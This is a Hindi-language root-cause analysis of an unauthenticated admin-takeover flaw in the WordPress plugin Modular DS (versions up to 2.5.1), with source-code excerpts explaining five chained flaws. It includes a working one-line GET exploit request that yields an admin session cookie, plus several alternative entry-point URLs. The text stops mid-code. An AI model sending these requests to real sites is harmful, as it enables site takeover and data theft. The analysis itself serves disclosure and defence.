
CVE-2026-23550 के लिए रूट-कॉज़ विश्लेषण, PoC, और डिटेक्शन मार्गदर्शन, जो WordPress प्लगइन Modular DS में एक गंभीर अनप्रमाणित एडमिन सत्र अधिग्रहण है।
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
मूल कारण विश्लेषण · स्रोत कोड वॉकथ्रू · पैच डिफ़ · शैक्षिक PoC
द्वारा: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) एक वर्डप्रेस साइट-प्रबंधन प्लगइन है जिसमें 40,000+ सक्रिय स्थापनाएँ हैं। संस्करण ≤ 2.5.1 में पाँच संयुक्त दोषों की एक श्रृंखला है जो किसी भी अप्रमाणित हमलावर को प्रमाणीकरण को बायपास करने, प्लगइन के आंतरिक लॉगिन एंडपॉइंट को लागू करने, और पहले व्यवस्थापक खाते के लिए एकwordpress_logged_in_*सत्र कुकी प्राप्त करने की अनुमति देती है — केवल एक HTTP GET अनुरोध के साथ।
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
परिणाम: पूर्ण व्यवस्थापक अधिग्रहण। हमलावर दुर्भावनापूर्ण प्लगइन स्थापित कर सकता है, वेबशेल गिरा सकता है, बैकअप व्यवस्थापक खाते बना सकता है, डेटाबेस बाहर निकाल सकता है।
| क्षेत्र | मान |
|---|---|
| प्लगइन नाम | Modular DS |
| स्लग | modular-connector |
| कमज़ोर | <= 2.5.1 |
| पैच किया गया | 2.5.2 |
| सक्रिय स्थापनाएँ | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — पहचान और प्रमाणीकरण विफलताएँ |
यह कमज़ोरी प्लगइन में एम्बेडेड एक कस्टम लारवेल-व्युत्पन्न राउटर को ट्रिगर करती है। प्लगइन अपना स्वयं का HTTP कर्नेल (Ares/Framework) भेजता है जो वर्डप्रेस के parse_request एक्शन में हुक करता है ताकि वर्डप्रेस के स्वयं के रूटिंग के कार्यभार संभालने से पहले अनुरोधों को हाईजैक किया जा सके।
पूर्वापेक्षाएँ: कोई नहीं (प्लगइन स्थापित और सक्रिय, मॉड्यूलर SaaS से जुड़ा — सभी लाइव स्थापनाओं के लिए डिफ़ॉल्ट)।
प्रवेश बिंदु (कोई भी एक पर्याप्त है):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
यह कमज़ोरी एक एकल दोष नहीं है — यह पाँच संयुक्त दोषों की एक श्रृंखला है। प्रत्येक परत, अलग-अलग देखी जाए, तो रक्षात्मक लग सकती है; संयुक्त होने पर, वे एक प्री-प्रमाणीकरण व्यवस्थापक अधिग्रहण में ढह जाते हैं।
flowchart TB
A["🌐 हमलावर का अनुरोध<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>केवल क्वेरी पैरामीटर पर गेट खुलता है"]
B --> C["② Router::findRoute()<br/>URL को अंतर्निहित रूप से /login रूट पर हल किया जाता है"]
C --> D["③ bindOldRoutes() फ़िल्टर<br/>अज्ञात टाइप पर फ़ॉल-थ्रू"]
D --> E["④ ModularGuard::check()<br/>सर्वर OAuth को मान्य करता है, अनुरोध को नहीं"]
E --> F["⑤ AuthController::getLogin()<br/>पहले व्यवस्थापक उपयोगकर्ता पर वापस गिर जाता है"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>हमलावर = व्यवस्थापक"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | परत | फ़ाइल | मूल समस्या |
|---|---|---|---|
| ① | बूटस्ट्रैप गेट | HttpUtils.php:64 | केवल origin=mo क्वेरी जाँच, कोई क्रिप्टो/नॉन्स नहीं |
| ② | URL→रूट मिलान | Router.php:20 | अंतर्निहित URL समाधान सीधे फ़िल्टर को भेजा गया |
| ③ | रूट ओवरराइड फ़िल्टर | RouteServiceProvider.php:46 | अज्ञात type मूल रूट के साथ फ़ॉल-थ्रू करता है |
| ④ | प्रमाणीकरण गार्ड | ModularGuard.php:16 | सर्वर-साइड OAuth स्थिति को मान्य करता है, अनुरोध पहचान को नहीं |
| ⑤ | लॉगिन नियंत्रक | AuthController.php:66 | इनपुट गायब होने पर getAdminUser() पर मौन वापसी |
HttpUtils::isDirectRequest()फ़ाइल: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ केवल क्वेरी-पैरामीटर, कोई हस्ताक्षर नहीं
}
return false;
}
समस्या: "डायरेक्ट अनुरोध" मोड — जो मॉड्यूलर SaaS बैकएंड से वैध कॉल की पहचान करने के लिए है — बिना HMAC, बिना JWT, बिना हस्ताक्षरित नॉन्स, बिना IP अनुमति सूची के सादे पाठ क्वेरी पैरामीटर पर गेट किया जाता है। कोई भी हमलावर इस स्विच को पलट सकता है।
Router::findRoute()फ़ाइल: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ फ़िल्टर चलने से पहले URL को रूट पर हल किया जाता है
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
समस्या: लारवेल का routes->match($request) /api/modular-connector/login/xxx को login रूट (प्रमाणीकरण-गार्डेड) में सुरक्षा फ़िल्टर चलने से पहले हल करता है। फ़िल्टर इस रूट को इनपुट के रूप में प्राप्त करता है, जो इसे स्पष्ट रूप से अधिकृत करने के बजाय रूट को अवैध साबित करने का बोझ देता है।
bindOldRoutes()फ़ाइल: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));